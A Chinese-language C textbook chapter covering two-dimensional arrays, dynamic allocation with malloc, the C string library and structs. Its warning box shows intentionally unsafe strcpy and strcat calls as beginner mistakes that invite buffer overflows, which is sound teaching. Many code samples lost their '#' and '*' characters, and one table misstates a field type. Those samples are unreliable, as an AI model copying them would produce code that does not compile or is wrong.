C 支持多维数组,但我们将多维数组的讨论限制为二维数组(2D),因为 1D 和 2D 数组是 C 程序员最常用的。
##### 静态分配的二维数组
要静态声明一个多维数组变量,必须指定每个维度的大小。例如:
int matrix[50][100];
short little[10][10];
在这里,`matrix` 是一个具有 50 行 100 列的 `int` 类型二维数组,`little` 是一个具有 10 行 10 列的 `short` 类型二维数组。
要访问单个元素,必须同时指定行和列索引:
int val;
short num;
val = matrix[3][7]; // get int value in row 3, column 7 of matrix
num = little[8][4]; // get short value in row 8, column 4 of little
图 2-10 演示了将二维数组表示为整数值矩阵的情况,其中二维数组中的特定元素是通过行索引和列索引值来索引的。

*图 2-10:一个二维数组表示为矩阵。访问 `matrix[2][3]` 就像在第 2 行第 3 列索引网格一样。*
程序通常通过嵌套循环迭代来访问二维数组的元素。例如,下面的嵌套循环将 `matrix` 中的所有元素初始化为 0:
int i, j;
for (i = 0; i < 50; i++) { // for each row i
for (j = 0; j < 100; j++) { // iterate over each column element in row i
matrix[i][j] = 0;
}
}
##### 二维数组参数
将一维数组作为参数传递给函数的规则同样适用于将二维数组作为参数传递:参数获取二维数组的基地址的值(`&arr[0][0]`)。换句话说,参数指向传入数组的元素,因此该函数可以修改传入数组中存储的值。
对于多维数组参数,必须指明该参数是多维数组,但可以不指定第一个维度的大小(以便于良好的通用设计)。其他维度的大小必须完全指定,以便编译器能够生成正确的偏移量。下面是一个二维的例子:
// a C constant definition: COLS is defined to be the value 100
define COLS (100)
/*
* init_matrix: initializes the passed matrix elements to the
* product of their index values
* m: a 2D array (the column dimension must be 100)
* rows: the number of rows in the matrix
* return: does not return a value
*/
void init_matrix(int m[][COLS], int rows) {
int i, j;
for (i = 0; i < rows; i++) {
for (j = 0; j < COLS; j++) {
m[i][j] = i*j;
}
}
}
int main() {
int matrix[50][COLS];
int bigger[90][COLS];
init_matrix(matrix, 50);
init_matrix(bigger, 90);
...
`matrix` 和 `bigger` 数组可以作为参数传递给 `init_matrix` 函数,因为它们的列维度与参数定义相同。
**注意**
必须在二维数组的参数定义中指定列维度,以便编译器能够计算从二维数组基地址到特定行元素起始位置的偏移量。偏移量的计算遵循二维数组在内存中的布局。
##### 二维数组内存布局
静态分配的二维数组在内存中的排列是 *行主序*,意味着首先存储第 0 行的所有元素,然后是第 1 行的所有元素,依此类推。例如,给定以下声明的整数类型二维数组:
int arr[3][4]; // int array with 3 rows and 4 columns
它在内存中的布局可能如下所示:图 2-11。

*图 2-11:二维数组的行主序内存布局*
请注意,所有数组元素都会被分配到连续的内存地址中。也就是说,二维数组的基地址是 `[0][0]` 元素的内存地址(`&arr[0][0]`),其后的元素按照行主序连续存储(例如,第 1 行的所有元素紧跟着第 2 行的所有元素,依此类推)。
##### 动态分配的二维数组
动态分配的二维数组可以通过两种方式进行分配。对于一个 *N* × *M* 的二维数组,可以选择以下两种方式:
1\. 通过一次调用 `malloc`,分配一个大块的堆空间来存储所有 *N* × *M* 数组元素。
2\. 多次调用 `malloc`,分配一个数组的数组。首先,分配一个包含 *N* 个指向元素类型的指针的 1D 数组,每一行在二维数组中对应一个指针数组。然后,为每一行分配 *N* 个大小为 *M* 的 1D 数组,以存储每一行的列值。将这 *N* 个数组的地址赋值给第一个指针数组的 *N* 个元素。
变量声明、内存分配代码和数组元素访问语法根据程序员选择的两种方法有所不同。
##### 方法 1:内存高效分配
在这种方法中,通过一次调用 `malloc` 分配所需的字节数来存储 *N* × *M* 的数组值。此方法的优点是更节省内存,因为所有 *N* × *M* 元素的整个空间会一次性分配,并存储在连续的内存地址中。
调用 `malloc` 会返回分配空间的起始地址(即数组的基地址),该地址应该像 1D 数组一样存储在指针变量中。实际上,使用这种方法分配 1D 或 2D 数组在语义上没有区别:`malloc` 返回的是一块连续分配的堆内存空间的起始地址,大小为请求的字节数。由于通过这种方法分配二维数组看起来就像是分配 1D 数组,程序员必须显式地将二维的行列索引映射到这块连续的堆内存空间上(编译器没有行或列的隐式概念,因此无法将双重索引语法解释为分配给这块内存的 `malloc` 空间)。
下面是一个使用方法 1 动态分配二维数组的 C 语言代码示例:
define N 3
define M 4
int main() {
int *two_d_array; // the type is a pointer to an int (the element type)
// allocate in a single malloc of N x M int-sized elements:
two_d_array = malloc(sizeof(int) * N * M);
if (two_d_array == NULL) {
printf("ERROR: malloc failed!\n");
exit(1);
}
...
图 2-12 展示了使用此方法分配二维数组的示例,并说明了 `malloc` 调用后的内存布局。

*图 2-12:通过一次调用 `malloc` 分配二维数组的结果*
与一维动态分配数组类似,二维数组的指针变量也是在栈上分配的。然后将返回的`malloc`值赋给该指针,该值表示堆内存中连续的*N* × *M* `int`存储位置的基地址。
由于此方法使用一个单一的`malloc`分配空间来存储二维数组,因此内存分配效率是最高的(整个二维数组只需要一次`malloc`调用)。由于所有元素都在连续的内存空间中,访问内存的效率更高,每次访问只需要通过指针变量进行一级间接访问。
然而,C 编译器并不区分使用此方法分配的二维数组和一维数组。因此,在使用此方法分配二维数组时,静态声明的二维数组的双重索引语法(`[i][j]`)*无法*使用。相反,程序员必须显式地使用行和列索引值来计算堆内存连续块中的偏移量(`[i*M + j]`,其中`M`是列数)。
以下是程序员初始化二维数组中所有元素的代码结构示例:
// access using [] notation:
// cannot use [i][j] syntax because the compiler has no idea where the
// next row starts within this chunk of heap space, so the programmer
// must explicitly add a function of row and column index values
// (i*M+j) to map their 2D view of the space into the 1D chunk of memory
for (i = 0; i < N; i++) {
for (j = 0; j < M; j++) {
two_d_array[i*M + j] = 0;
}
}
##### 方法 1(单次 malloc)与函数参数
通过单次`malloc`分配的`int`类型数组的基地址是指向`int`的指针,因此可以将其传递给一个`int *`类型的函数参数。此外,函数还必须传递行和列的维度,以便它能够正确计算二维数组中的偏移量。例如:
/*
* initialize all elements in a 2D array to 0
* arr: the array
* rows: number of rows
* cols: number of columns
*/
void init2D(int *arr, int rows, int cols) {
int i, j;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++) {
arr[i*cols + j] = 0;
}
}
}
int main() {
int *array;
array = malloc(sizeof(int) * N * M);
if (array != NULL) {
init2D(array, N, M);
}
...
##### 方法 2:更适合程序员的方式
第二种动态分配二维数组的方法是将数组存储为*N*个一维数组的数组(每行一个一维数组)。它需要*N* + 1 次调用`malloc`:一次`malloc`用于行数组的数组,另外*N*次`malloc`用于每一行的列数组。因此,*在一行内*的元素位置是连续的,但二维数组的各行之间的元素不连续。分配和访问元素的效率不如方法 1,且变量的类型定义可能稍微复杂。不过,使用这种方法,程序员可以使用双重索引语法来访问二维数组的各个元素(第一个索引是行数组的索引,第二个索引是该行内列元素的索引)。
这是一个使用方法 2 分配二维数组的示例(为了可读性,省略了错误检测和处理代码):
// the 2D array variable is declared to be int ** (a pointer to an int *)
// a dynamically allocated array of dynamically allocated int arrays
// (a pointer to pointers to ints)
int **two_d_array;
int i;
// allocate an array of N pointers to ints
// malloc returns the address of this array (a pointer to (int *)'s)
two_d_array = malloc(sizeof(int *) * N);
// for each row, malloc space for its column elements and add it to
// the array of arrays
for (i = 0; i < N; i++) {
// malloc space for row i's M column elements
two_d_array[i] = malloc(sizeof(int) * M);
}
在这个例子中,注意变量的类型以及传递给`malloc`调用的大小。为了引用动态分配的二维数组,程序员声明一个`int **`类型的变量(`two_d_array`),它将存储动态分配的`int *`元素值数组的地址。`two_d_array`中的每个元素存储一个动态分配的`int`类型数组的地址(`two_d_array[i]`的类型是`int *`)。
图 2-13 显示了在前面的例子中调用 *N* + 1 次 `malloc` 后内存的可能样子。

*图 2-13:通过 N + 1 次 `malloc` 调用分配二维数组后的内存布局*
请注意,在使用此方法时,只有作为单次 `malloc` 调用一部分分配的元素才在内存中是连续的。也就是说,每一行中的元素是连续的,但不同的行(甚至相邻的行)中的元素不是连续的。
一旦分配,二维数组的单个元素可以使用双重索引表示法进行访问。第一个索引指定外部 `int *` 指针数组中的一个元素(即行),第二个索引指定内部 `int` 数组中的一个元素(即该行内的列)。
int i, j;
for (i = 0; i < N; i++) {
for (j = 0; j < M; j++) {
two_d_array[i][j] = 0;
}
}
为了理解双重索引是如何被求值的,请考虑以下表达式各部分的类型和值:
two_d_array: an array of int pointers, it stores the base address of an
array of (int ) values. Its type is int* (a pointer to
int *).
two_d_array[i]: the ith index into the array of arrays, it stores an
(int *) value that represents the base address of an array of
(int) values. Its type is int*.
two_d_array[i][j]: the jth element pointed to by the ith element of the array
of arrays, it stores an int value (the value in row i, column
j of the 2D array). Its type is int.
##### 方法 2(数组的数组)与函数参数
数组参数的类型是 `int **`(指向 `int` 的指针的指针),并且函数参数与其参数的类型匹配。此外,行和列的大小应该传递给函数。因为这是与方法 1 不同的类型,所以这两种数组类型不能使用通用函数(它们不是相同的 C 类型)。
这里是一个示例函数,它以方法 2(数组的数组)二维数组作为参数:
/*
* initialize a 2D array
* arr: the array
* rows: number of rows
* cols: number of columns
*/
void init2D_Method2(int **arr, int rows, int cols) {
int i,j;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++) {
arr[i][j] = 0;
}
}
}
/*
* main: example of calling init2D_Method2
*/
int main() {
int **two_d_array;
// some code to allocate the row array and multiple col arrays
// ...
init2D_Method2(two_d_array, N, M);
...
在这里,函数实现可以使用双重索引语法。与静态声明的二维数组不同,行和列的维度都需要作为参数传递:`rows` 参数指定最外层数组(行数组数组)的边界,`cols` 参数指定内部数组(每行的列值)的边界。
### 2.6 字符串与字符串库
在上一章中,我们介绍了“数组和字符串” (第 44 页)。在本章中,我们将讨论动态分配的 C 字符串及其与 C 字符串库的使用。我们首先简要概述静态声明的字符串。
#### 2.6.1 C 对静态分配字符串(字符数组)的支持
C 不支持单独的字符串类型,但可以使用由 `char` 值组成的数组来实现 C 程序中的字符串,该数组以特殊的空字符值 `'\0'` 结束。终止空字符标识了构成字符串的字符值序列的结束。并非每个字符数组都是 C 字符串,但每个 C 字符串都是 `char` 值的数组。
由于字符串在程序中经常出现,C 提供了带有字符串操作函数的库。使用 C 字符串库的程序需要包含 `string.h`。大多数字符串库函数要求程序员为这些函数操作的字符数组分配空间。在打印字符串的值时,使用 `%s` 占位符。
这里是一个使用字符串和一些字符串库函数的示例程序:
include <stdio.h>
include <string.h> // include the C string library
int main() {
char str1[10];
char str2[10];
str1[0] = 'h';
str1[1] = 'i';
str1[2] = '\0'; // explicitly add null terminating character to end
// strcpy copies the bytes from the source parameter (str1) to the
// destination parameter (str2) and null terminates the copy.
strcpy(str2, str1);
str2[1] = 'o';
printf("%s %s\n", str1, str2); // prints: hi ho
return 0;
}
#### 2.6.2 动态分配字符串
字符数组可以动态分配(如在第 66 页的“C 的指针变量”及第 81 页的“C 中的数组”中所讨论)。在动态分配用于存储字符串的空间时,重要的是要记得为字符串末尾的终止 `'\0'` 字符分配数组空间。
以下示例程序演示了静态和动态分配的字符串(注意传递给 `malloc` 的值):
include <stdio.h>
include <stdlib.h>
include <string.h>
int main() {
int size;
char str[64]; // statically allocated
char *new_str = NULL; // for dynamically allocated
strcpy(str, "Hello");
size = strlen(str); // returns 5
new_str = malloc(sizeof(char) * (size+1)); // need space for '\0'
if(new_str == NULL) {
printf("Error: malloc failed! exiting.\n");
exit(1);
}
strcpy(new_str, str);
printf("%s %s\n", str, new_str); // prints "Hello Hello"
strcat(str, " There"); // concatenate " There" to the end of str
printf("%s\n", str); // prints "Hello There"
free(new_str); // free malloc'ed space when done
new_str = NULL;
return 0;
}
**警告 C 字符串函数与目标内存**
许多 C 字符串函数(特别是 `strcpy` 和 `strcat`)通过跟随一个*目标*字符串指针(`char *`)参数并向其指向的位置写入结果来存储它们的结果。这些函数假设目标有足够的内存来存储结果。因此,作为程序员,你必须确保在调用这些函数之前,目标处有足够的内存可用。
未分配足够的内存会导致未定义的结果,范围从程序崩溃到严重的安全漏洞(请参见第 362 页的“实际案例:缓冲区溢出”)。例如,以下对 `strcpy` 和 `strcat` 的调用展示了初学 C 语言的程序员常犯的错误:
// 尝试将一个 12 字节的字符串写入一个 5 字符的数组。
char mystr[5];
strcpy(mystr, "hello world");
// 尝试向一个 NULL 目标的字符串写入数据。
char *mystr = NULL;
strcpy(mystr, "再试一次");
// 尝试修改一个只读的字符串常量。
char *mystr = "字符串常量值";
strcat(mystr, "字符串常量不可写");
#### 2.6.3 操作 C 字符串和字符的库
C 提供了几个操作字符串和字符的库。字符串库(`string.h`)在编写使用 C 字符串的程序时尤其有用。`stdlib.h` 和 `stdio.h` 库也包含用于字符串操作的函数,而 `ctype.h` 库则包含操作单个字符值的函数。
在使用 C 字符串库函数时,重要的是要记住,大多数函数不会为它们操作的字符串分配空间,也不会检查你传入的字符串是否有效;你的程序必须为 C 字符串库将使用的字符串分配空间。此外,如果库函数修改了传入的字符串,则调用者需要确保字符串格式正确(即,在字符串末尾有一个终止的 `'\0'` 字符)。如果传递给字符串库函数的数组参数无效,通常会导致程序崩溃。不同库函数的文档(例如手册页)会指定该函数是否分配空间,或者调用者是否需要将已分配的空间传递给库函数。
**注意 CHAR[] 和 CHAR * 参数及 CHAR * 返回类型**
静态声明的字符数组和动态分配的字符数组都可以传递给`char *`参数,因为这两种类型的变量的名称都会被求值为数组在内存中的基地址。将参数声明为类型`char []`也适用于静态和动态分配的参数值,但`char *`更常用于指定字符串(`char`数组)参数的类型。
如果一个函数返回一个字符串(其返回类型为`char *`),则它的返回值只能赋给类型为`char *`的变量;不能赋给静态分配的数组变量。这个限制存在是因为静态声明的数组变量的名称不是有效的*lvalue*(其在内存中的基地址不能更改;参见第 57 页的“访问字段值”),因此不能将`char *`返回值赋给它。
##### strlen, strcpy, strncpy
字符串库提供了用于复制字符串和查找字符串长度的函数:
// returns the number of characters in the string
// (not including the null character)
int strlen(char *s);
// copies string src to string dst up until the first '\0' character in src
// (the caller needs to make sure src is initialized correctly and
// dst has enough space to store a copy of the src string)
// returns the address of the dst string
char *strcpy(char *dst, char *src);
// like strcpy but copies up to the first '\0' or size characters
// (this provides some safety to not copy beyond the bounds of the dst
// array if the src string is not well formed or is longer than the
// space available in the dst array); size_t is an unsigned integer type
char *strncpy(char *dst, char *src, size_t size);
当源字符串的长度可能大于目标字符串的总容量时,使用`strcpy`函数是非常不安全的。在这种情况下,应使用`strncpy`。`strncpy`的大小参数会限制从`src`字符串复制到`dst`字符串的字符数,不会超过`size`个字符。如果`src`字符串的长度大于或等于`size`,`strncpy`会将`src`的前`size`个字符复制到`dst`,并且不会在`dst`的末尾添加空字符。因此,程序员在调用`strncpy`后,应该显式地在`dst`的末尾添加空字符。
以下是这些函数在程序中的一些示例用法:
include <stdio.h>
include <stdlib.h>
include <string.h> // include the string library
int main() {
// variable declarations that will be used in examples
int len, i, ret;
char str[32];
char *d_str, *ptr;
strcpy(str, "Hello There");
len = strlen(str); // len is 11
d_str = malloc(sizeof(char) * (len+1));
if (d_str == NULL) {
printf("Error: malloc failed\n");
exit(1);
}
strncpy(d_str, str, 5);
d_str[5] = '\0'; // explicitly add null terminating character to end
printf("%d:%s\n", strlen(str), str); // prints 11:Hello There
printf("%d:%s\n", strlen(d_str), d_str); // prints 5:Hello
return 0;
}
##### strcmp, strncmp
字符串库还提供了一个函数用于比较两个字符串。使用`==`运算符比较字符串变量*并不*比较字符串中的字符——它仅比较两个字符串的基地址。例如,表达式
if (d_str == str) { ...
比较`d_str`指向的堆中`char`数组的基地址与栈上分配的`str char`数组的基地址。
为了比较字符串的值,程序员需要手动编写代码来比较对应的元素值,或者使用字符串库中的`strcmp`或`strncmp`函数:
int strcmp(char *s1, char *s2);
// returns 0 if s1 and s2 are the same strings
// a value < 0 if s1 is less than s2
// a value > 0 if s1 is greater than s2
int strncmp(char *s1, char *s2, size_t n);
// compare s1 and s2 up to at most n characters
`strcmp`函数通过比较字符的*ASCII 表示*来逐字符比较字符串(参见第 189 页的“注释”)。换句话说,它比较两个参数数组中对应位置的`char`值,得出字符串比较的结果,这有时会产生一些不直观的结果。例如,`char`值`'a'`的 ASCII 编码*大于*`char`值`'Z'`的编码。因此,`strcmp("aaa", "Zoo")`返回一个正值,表示`"aaa"`大于`"Zoo"`,而`strcmp("aaa", "zoo")`返回一个负值,表示`"aaa"`小于`"zoo"`。
下面是一些字符串比较的示例:
strcpy(str, "alligator");
strcpy(d_str, "Zebra");
ret = strcmp(str,d_str);
if (ret == 0) {
printf("%s is equal to %s\n", str, d_str);
} else if (ret < 0) {
printf("%s is less than %s\n", str, d_str);
} else {
printf("%s is greater than %s\n", str, d_str); // true for these strings
}
ret = strncmp(str, "all", 3); // returns 0: they are equal up to first 3 chars
##### strcat, strstr, strchr
字符串库函数可以连接字符串(请注意,确保目标字符串有足够的空间存储结果是调用者的责任):
// append chars from src to end of dst
// returns ptr to dst and adds '\0' to end
char *strcat(char *dst, char *src)
// append the first chars from src to end of dst, up to a maximum of size
// returns ptr to dst and adds '\0' to end
char *strncat(char *dst, char *src, size_t size);
它还提供了用于在字符串中查找子字符串或字符值的函数:
// locate a substring inside a string
// (const means that the function doesn't modify string)
// returns a pointer to the beginning of substr in string
// returns NULL if substr not in string
char *strstr(const char *string, char *substr);
// locate a character (c) in the passed string (s)
// (const means that the function doesn't modify s)
// returns a pointer to the first occurrence of the char c in string
// or NULL if c is not in the string
char *strchr(const char *s, int c);
下面是一些使用这些函数的示例(为了可读性,我们省略了一些错误处理):
char str[32];
char *ptr;
strcpy(str, "Zebra fish");
strcat(str, " stripes"); // str gets "Zebra fish stripes"
printf("%s\n", str); // prints: Zebra fish stripes
strncat(str, " are black.", 8);
printf("%s\n", str); // prints: Zebra fish stripes are bla (spaces count)
ptr = strstr(str, "trip");
if (ptr != NULL) {
printf("%s\n", ptr); // prints: tripes are bla
}
ptr = strchr(str, 'e');
if (ptr != NULL) {
printf("%s\n", ptr); // prints: ebra fish stripes are bla
}
调用`strchr`和`strstr`分别返回参数数组中第一个匹配字符值或匹配子字符串值的元素地址。这个元素地址是一个以`'\0'`字符终止的`char`类型值数组的起始地址。换句话说,`ptr`指向另一个字符串中的子字符串的开头。当使用`printf`将`ptr`作为字符串打印时,从`ptr`指向的索引位置开始的字符值将被打印,输出与前面示例中列出的结果相同。
##### strtok, strtok_r
字符串库还提供了将字符串划分为标记的函数。*标记*是指字符串中由程序员选择的分隔符字符分隔的字符子序列。
char *strtok(char *str, const char *delim);
// a reentrant version of strtok (reentrant is defined in later chapters):
char *strtok_r(char *str, const char *delim, char **saveptr);
`strtok`(或`strtok_r`)函数在较大的字符串中查找单个标记。例如,将`strtok`的分隔符设置为空白字符集合,就会得到一个原本包含英语句子的字符串中的单词。也就是说,句子中的每个单词都是字符串中的一个标记。
下面是一个使用`strtok`查找输入字符串中的单个单词作为标记的示例程序。^(2)
/*
* Extract whitespace-delimited tokens from a line of input
* and print them one per line.
*
* to compile:
* gcc -g -Wall strtokexample.c
*
* example run:
* Enter a line of text: aaaaa bbbbbbbbb cccccc
*
* The input line is:
* aaaaa bbbbbbbbb cccccc
* Next token is aaaaa
* Next token is bbbbbbbbb
* Next token is cccccc
*/
include <stdlib.h>
include <stdio.h>
include <string.h>
int main() {
/* whitespace stores the delim string passed to strtok. The delim
- string is initialized to the set of characters that delimit tokens
* We initialize the delim string to the following set of chars:
* ' ': space '\t': tab '\f': form feed '\r': carriage return
* '\v': vertical tab '\n': new line
* (run "man ascii" to list all ASCII characters)
*
* This line shows one way to statically initialize a string variable
* (using this method the string contents are constant, meaning that they
* cannot be modified, which is fine for the way we are using the
* whitespace string in this program).
*/
char whitespace = " \t\f\r\v\n"; / Note the space char at beginning */
char token; / The next token in the line. */
char line; / The line of text read in that we will tokenize. */
/* Allocate some space for the user's string on the heap. */
line = malloc(200 * sizeof(char));
if (line == NULL) {
printf("Error: malloc failed\n");
exit(1);
}
/* Read in a line entered by the user from "standard in". */
printf("Enter a line of text:\n");
line = fgets(line, 200 * sizeof(char), stdin);
if (line == NULL) {
printf("Error: reading input failed, exiting...\n");
exit(1);
}
printf("The input line is:\n%s\n", line);
/* Divide the string into tokens. */
token = strtok(line, whitespace); /* get the first token */
while (token != NULL) {
printf("Next token is %s\n", token);
token = strtok(NULL, whitespace); /* get the next token */
}
free(line);
return 0;
}
##### sprintf
C 的`stdio`库还提供了操作 C 字符串的函数。也许最有用的函数是`sprintf`,它将内容“打印”到一个字符串中,而不是将输出打印到终端:
// like printf(), the format string allows for placeholders like %d, %f, etc.
// pass parameters after the format string to fill them in
int sprintf(char *s, const char *format, ...);
`sprintf`通过各种类型的值初始化字符串的内容。它的参数`format`类似于`printf`和`scanf`的参数。以下是一些示例:
char str[64];
float ave = 76.8;
int num = 2;
// initialize str to format string, filling in each placeholder with
// a char representation of its arguments' values
sprintf(str, "%s is %d years old and in grade %d", "Henry", 12, 7);
printf("%s\n", str); // prints: Henry is 12 years old and in grade 7
sprintf(str, "The average grade on exam %d is %g", num, ave);
printf("%s\n", str); // prints: The average grade on exam 2 is 76.8
##### 用于单个字符值的函数
标准 C 库(`stdlib.h`)包含一组操作和测试单个`char`值的函数,包括:
include <stdlib.h> // include stdlib and ctype to use these
include <ctype.h>
int islower(ch);
int isupper(ch); // these functions return a non-zero value if the
int isalpha(ch); // test is TRUE, otherwise they return 0 (FALSE)
int isdigit(ch);
int isalnum(ch);
int ispunct(ch);
int isspace(ch);
char tolower(ch); // returns ASCII value of lower-case of argument
char toupper(ch);
下面是它们使用的一些示例:
char str[64];
int len, i;
strcpy(str, "I see 20 ZEBRAS, GOATS, and COWS");
if ( islower(str[2]) ){
printf("%c is lower case\n", str[2]); // prints: s is lower case
}
len = strlen(str);
for (i = 0; i < len; i++) {
if ( isupper(str[i]) ) {
str[i] = tolower(str[i]);
} else if( isdigit(str[i]) ) {
str[i] = 'X';
}
}
printf("%s\n", str); // prints: i see XX zebras, goats, and cows
##### 将字符串转换为其他类型的函数
`stdlib.h`还包含将字符串与其他 C 类型之间转换的函数。例如:
include <stdlib.h>
int atoi(const char *nptr); // convert a string to an integer
double atof(const char *nptr); // convert a string to a float
这是一个示例:
printf("%d %g\n", atoi("1234"), atof("4.56"));
要了解这些和其他 C 库函数的更多信息(包括它们的功能、参数格式、返回值以及需要包含哪些头文件才能使用它们),请参阅它们的*man 页面*。^(3) 例如,要查看`strcpy`的 man 页面,可以运行:
$ man strcpy
### 2.7 C 结构体
在上一章中,我们在“结构体”一节(第 52 页)介绍了 C 结构体。在本章中,我们将深入探讨 C 结构体,分析静态和动态分配的结构体,并结合结构体和指针创建更复杂的数据类型和数据结构。
我们首先快速概述静态声明的结构体。更多细节请参见上一章。
#### 2.7.1 C 结构体类型回顾
`struct`类型表示一组异构数据;它是一种将不同类型的数据作为单一统一体处理的机制。
在 C 程序中定义和使用`struct`类型有三个步骤:
1. 定义一个`struct`类型,该类型定义字段值及其类型。
2. 声明`struct`类型的变量。
3. 使用*点符号*来访问变量中的单个字段值。
在 C 语言中,结构体是左值(它们可以出现在赋值语句的左边;详见第 57 页的“访问字段值”)。`struct`变量的值是其内存内容(即构成其字段值的所有字节)。当调用带有`struct`参数的函数时,`struct`参数的值(即参数所有字段字节的副本)会被复制到函数的`struct`参数中。
在使用结构体编程,特别是当结构体与数组结合使用时,仔细考虑每个表达式的类型至关重要。`struct`中的每个字段代表一个特定的类型,访问字段值的语法和将单个字段值传递给函数的语义遵循其特定类型的规则。
以下完整的示例程序演示了如何定义`struct`类型,声明该类型的变量,访问字段值,并将结构体和单个字段值传递给函数(为了可读性,我们省略了一些错误处理和注释):
struct_review.c
include <stdio.h>
include <string.h>
/* define a new struct type (outside function bodies) */
struct studentT {
char name[64];
int age;
float gpa;
int grad_yr;
};
/* function prototypes */
int checkID(struct studentT s1, int min_age);
void changeName(char *old, char *new);
int main() {
int can_vote;
// declare variables of struct type:
struct studentT student1, student2;
// access field values using .
strcpy(student1.name, "Ruth");
student1.age = 17;
student1.gpa = 3.5;
student1.grad_yr = 2021;
// structs are lvalues
student2 = student1;
strcpy(student2.name, "Frances");
student2.age = student1.age + 4;
// passing a struct
can_vote = checkID(student1, 18);
printf("%s %d\n", student1.name, can_vote);
can_vote = checkID(student2, 18);
printf("%s %d\n", student2.name, can_vote);
// passing a struct field value
changeName(student2.name, "Kwame");
printf("student 2's name is now %s\n", student2.name);
return 0;
}
int checkID(struct studentT s, int min_age) {
int ret = 1;
if (s.age < min_age) {
ret = 0;
// changes age field IN PARAMETER COPY ONLY
s.age = min_age + 1;
}
return ret;
}
void changeName(char *old, char *new) {
if ((old == NULL) || (new == NULL)) {
return;
}
strcpy(old,new);
}
程序运行时,输出如下:
Ruth 0
Frances 1
student 2's name is now Kwame
在使用结构体时,特别需要考虑`struct`及其字段的类型。例如,在将`struct`传递给函数时,参数会得到`struct`值的副本(即所有字段字节的副本)。因此,对参数字段值的更改*不会*影响原始参数的值。这个行为在之前的程序中通过调用`checkID`得以体现,`checkID`修改了参数的年龄字段,但在`checkID`中的修改并未影响对应参数的年龄字段值。
当将`struct`的字段传递给函数时,其语义与字段的类型(函数参数的类型)相匹配。例如,在调用`changeName`时,`name`字段的值(即`student2`结构体中`name`数组的基地址)会被复制到参数`old`中,这意味着该参数引用了与其参数相同的一组内存中的数组元素。因此,在函数中更改数组元素时,也会改变参数中的数组元素值;传递`name`字段的语义与`name`字段的类型相匹配。
#### 2.7.2 指针与结构体
与其他 C 类型一样,程序员可以声明一个变量作为用户定义的 `struct` 类型的指针。使用 `struct` 指针变量的语义类似于其他指针类型,如 `int *`。
请考虑之前程序示例中引入的 `struct studentT` 类型:
struct studentT {
char name[64];
int age;
float gpa;
int grad_yr;
};
程序员可以声明类型为 `struct studentT` 或 `struct` `studentT *`(指向 `struct studentT` 的指针)的变量:
struct studentT s;
struct studentT *sptr;
// think very carefully about the type of each field when
// accessing it (name is an array of char, age is an int ...)
strcpy(s.name, "Freya");
s.age = 18;
s.gpa = 4.0;
s.grad_yr = 2020;
// malloc space for a struct studentT for sptr to point to:
sptr = malloc(sizeof(struct studentT));
if (sptr == NULL) {
printf("Error: malloc failed\n");
exit(1);
}
请注意,调用 `malloc` 会初始化 `sptr`,使其指向堆内存中动态分配的结构体。使用 `sizeof` 运算符计算 `malloc` 的大小请求(例如,`sizeof(struct studentT)`)可确保 `malloc` 为结构体中的*所有*字段值分配空间。
要访问指向 `struct` 的指针中的各个字段,首先需要*解引用*指针变量。根据指针解引用的规则(请参见第 66 页的“C 的指针变量”),你可能会试图像这样访问 `struct` 字段:
// the grad_yr field of what sptr points to gets 2021:
(*sptr).grad_yr = 2021;
// the age field of what sptr points to gets s.age plus 1:
(*sptr).age = s.age + 1;
然而,由于指向结构体的指针使用非常广泛,C 提供了一种特殊运算符(`->`),它同时解引用 `struct` 指针并访问其字段值。例如,`sptr->year` 相当于 `(*sptr).year`。以下是一些使用此表示法访问字段值的示例:
// the gpa field of what sptr points to gets 3.5:
sptr->gpa = 3.5;
// the name field of what sptr points to is a char *
// (can use strcpy to init its value):
strcpy(sptr->name, "Lars");
图 2-14 描述了在前面的代码执行后,变量 `s` 和 `sptr` 在内存中的可能布局。回想一下,`malloc` 从堆中分配内存,而局部变量则分配在栈上。

*图 2-14:静态分配的结构体(栈上的数据)和动态分配的结构体(堆上的数据)在内存布局上的差异*
#### 2.7.3 结构体中的指针字段
结构体也可以定义为具有指针类型的字段值。以下是一个示例:
struct personT {
char *name; // for a dynamically allocated string field
int age;
};
int main() {
struct personT p1, *p2;
// need to malloc space for the name field:
p1.name = malloc(sizeof(char) * 8);
strcpy(p1.name, "Zhichen");
p1.age = 22;
// first malloc space for the struct:
p2 = malloc(sizeof(struct personT));
// then malloc space for the name field:
p2->name = malloc(sizeof(char) * 4);
strcpy(p2->name, "Vic");
p2->age = 19;
...
// Note: for strings, we must allocate one extra byte to hold the
// terminating null character that marks the end of the string.
}
在内存中,这些变量将类似于图 2-15(请注意哪些部分分配在栈上,哪些分配在堆上)。

*图 2-15:具有指针字段的结构体在内存中的布局*
随着结构体及其字段类型的复杂性增加,请注意它们的语法。为了正确访问字段值,从最外层的变量类型开始,使用其类型语法来访问各个部分。例如,表 2-2 中显示的 `struct` 变量类型决定了程序员应如何访问它们的字段。
**表 2-2:** 结构体字段访问示例
| **表达式** | **类型** | **字段访问语法** |
| --- | --- | --- |
| `p1` | `struct personT` | `p1.age, p1.name` |
| `p2` | `struct personT *` | `p2->age, p2->name` |
此外,了解字段值的类型可以让程序使用正确的语法来访问它们,如表 2-3 中的示例所示。
**表 2-3:** 访问不同结构体字段类型
| **表达式** | **类型** | **示例访问语法** |
| --- | --- | --- |
| `p1.age` | `int` | `p1.age = 18;` |
| `p2->age` | `int *` | `p2->age = 18;` |
| `p1.name` | `char *` | `printf("%s", p1.name);` |
| `p2->name` | `char *` | `printf("%s", p2->name);` |
| `p2->name[2]` | `char` | `p2->name[2] = ’a’;` |
在检查最后一个示例时,首先考虑最外层变量的类型(`p2` 是指向 `struct personT` 的指针)。因此,要访问结构体中的字段值,程序员需要使用 `->` 语法(`p2->name`)。接下来,考虑 `name` 字段的类型,它是一个 `char *`,在本程序中用于指向一个 `char` 类型值的数组。要通过 `name` 字段访问特定的 `char` 存储位置,使用数组索引表示法:`p2->name[2] =` `’a’`。
#### 2.7.4 结构体数组
数组、指针和结构体可以结合在一起创建更复杂的数据结构。以下是声明不同类型结构体数组变量的一些示例:
struct studentT classroom1[40]; // an array of 40 struct studentT
struct studentT *classroom2; // a pointer to a struct studentT
// (for a dynamically allocated array)
struct studentT *classroom3[40]; // an array of 40 struct studentT *
// (each element stores a (struct studentT *)
再次强调,仔细思考变量和字段的类型对于理解在程序中使用这些变量的语法和语义至关重要。以下是一些正确访问这些变量的语法示例:
// classroom1 is an array:
// use indexing to access a particular element
// each element in classroom1 stores a struct studentT:
// use dot notation to access fields
classroom1[3].age = 21;
// classroom2 is a pointer to a struct studentT
